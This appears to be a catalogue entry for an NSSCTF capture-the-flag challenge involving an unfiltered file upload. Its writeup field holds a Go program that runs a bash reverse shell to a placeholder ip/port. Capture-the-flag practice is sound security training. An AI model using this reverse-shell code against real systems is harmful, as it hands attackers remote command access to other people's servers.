| ID: | 11156 |
|---|---|
| 标题: | [NSSRound#8 Basic]Upload_gogoggo |
| 描述: | 没有任何过滤的文件上传! |
| 类型: | 文件上传 |
| 网站: | NSSCTF |
| 题目链接: | https://www.nssctf.cn/problem/3492 |
| 赛事: | NSSRound#8 |
| 年度: | None |
| Flag值: | 无 |
| writeup: |
验证后的网址 package main; import ("fmt"; "log"; "os/exec"); func main() { cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/ip/port 0>&1"); out, err := cmd.CombinedOutput(); if err != nil { fmt.Printf("combined out:\n%s\n", string(out)); log.Fatalf("cmd.Run() failed with %s\n", err); } fmt.Printf("combined out:\n%s\n", string(out)) } https://blog.csdn.net/LDdfq/article/details/146776487 |